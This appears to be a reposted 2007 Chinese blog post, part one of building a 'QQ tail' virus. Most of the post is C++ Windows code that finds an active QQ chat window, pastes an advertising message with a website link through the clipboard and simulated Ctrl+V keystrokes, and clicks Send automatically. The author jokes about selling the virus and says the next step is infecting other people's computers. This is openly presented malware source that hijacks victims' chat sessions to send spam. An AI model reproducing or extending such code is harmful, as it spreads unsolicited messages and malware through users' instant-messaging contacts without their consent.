您的位置:首页 > Web前端

QQ2007尾巴病毒实现(一)

2007-03-01 11:53 330 查看
闲来无事,想研究一下QQ尾巴病毒,呵呵,有谁要,50块一个卖了,这下发达了(跟制作熊猫烧香的人学的) @@||

记得刚毕业的时候写过qq炸弹程序,原理跟qq尾巴病毒差不多,无非是查找到输入框和发送按牛的句柄;然后发送windows消息即可,只是qq2006开始屏蔽掉了richedit的settext past等等消息,所以之前采用的发送settext消息的方法已经不管用了,所以只好发送键盘事件了。

大致流程:查找输入框,粘贴文本,然后发送单击 发送按牛事件。

 


char strClassName[256];


    ::GetClassName(GetForegroundWindow(), strClassName, 255);


    CString clsname;


    clsname.Format(_T("%s"),strClassName); 




    //HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");


    //hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);


    //如果当前窗口为活动窗口时;




    if(clsname == "#32770")...{


        HWND hNMMainWnd = GetForegroundWindow();


        if(IsWindow(hNMMainWnd))  




        ...{


            //EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL); 


            //hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);


            //printf("111111");


            //char strClassName[256];


            //::GetClassName(hNMMainWnd, strClassName, 255);


            //printf(strClassName);  


            


            //第一次查找粘贴文本;


            EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL); 


            Sleep(100);


            //第二次查找发送出去;


            EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL); 


        }


    }

 

 




BOOL CALLBACK My::MyEnumChildProc1(HWND   hwndChild,   LPARAM   lParam)




  ...{   


    


     


      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 


      //if(IsWindow(iNMMainWnd))   


      //{


      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   


      //} 


      TCHAR   szWndTitle[1024];  


      //int nLen = 0;


      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);




      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);


      CString title;


      CString classname;


      title.Format(_T("%s"),szWndTitle); 


    




      if(title == "发送(&S)")...{


        //::SendMessage(hwndChild,BM_CLICK,0,0);


        //printf("--------->click");


      }


     


      char strClassName[256];


      ::GetClassName(hwndChild, strClassName, 255);


      printf(strClassName); 


      classname.Format(_T("%s"),strClassName);




      if(title == "" && classname == "RichEdit20A")...{


          printf("--------->set text");


          //::PostMessage(hwndChild,WM_CHAR,'中',0);


           //发送组合键;ctrl+v 


          setMSG(hwndChild);


          //设置焦点;


          SetFocus(hwndChild);




          keybd_event(VK_CONTROL,0,0,0);   


          keybd_event('V',0,0,0);   


          keybd_event('V',0,KEYEVENTF_KEYUP,0);   


          keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  


          return FALSE;


      }


      printf(szWndTitle);   


      printf(" ");  


      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 


      return   TRUE;   


}








BOOL CALLBACK My::MyEnumChildProc2(HWND   hwndChild,   LPARAM   lParam)




  ...{   


    


     


      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 


      //if(IsWindow(iNMMainWnd))   


      //{


      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   


      //} 


      TCHAR   szWndTitle[1024];  


      //int nLen = 0;


      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);




      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);


      CString title;


      CString classname;


      title.Format(_T("%s"),szWndTitle); 


    




      if(title == "发送(&S)")...{


        ::SendMessage(hwndChild,BM_CLICK,0,0);


        printf("--------->click");


        return FALSE;


      }


     


      char strClassName[256];


      ::GetClassName(hwndChild, strClassName, 255);


      printf(strClassName); 


      classname.Format(_T("%s"),strClassName);




      if(title == "" && classname == "RichEdit20A")...{


        //printf("--------->set text");


          //::PostMessage(hwndChild,WM_CHAR,'中',0);


           //发送组合键;ctrl+v 


          //setMSG(hwndChild);


          //keybd_event(VK_CONTROL,0,0,0);   


          //keybd_event('V',0,0,0);   


          //keybd_event('V',0,KEYEVENTF_KEYUP,0);   


          //keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  




      }


      //printf(szWndTitle);   


      //printf(" ");  


      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 


      return   TRUE;   


}








void My::setMSG(HWND   hwnd)...{


    CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";


    if(::OpenClipboard(hwnd))




    ...{


        HGLOBAL clipbuffer;


        char * buffer;


        EmptyClipboard();


        clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);


        buffer = (char*)GlobalLock(clipbuffer);


        ::strcpy(buffer, LPCSTR(msg));


        GlobalUnlock(clipbuffer);


        SetClipboardData(CF_TEXT,clipbuffer);


        CloseClipboard();


    }


}



 

到现在为止,已经解决了如何自动发送尾巴的程序。

那么接下去就是怎么去感染人家的电脑了,靠,太不人道了,回头继续研究。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息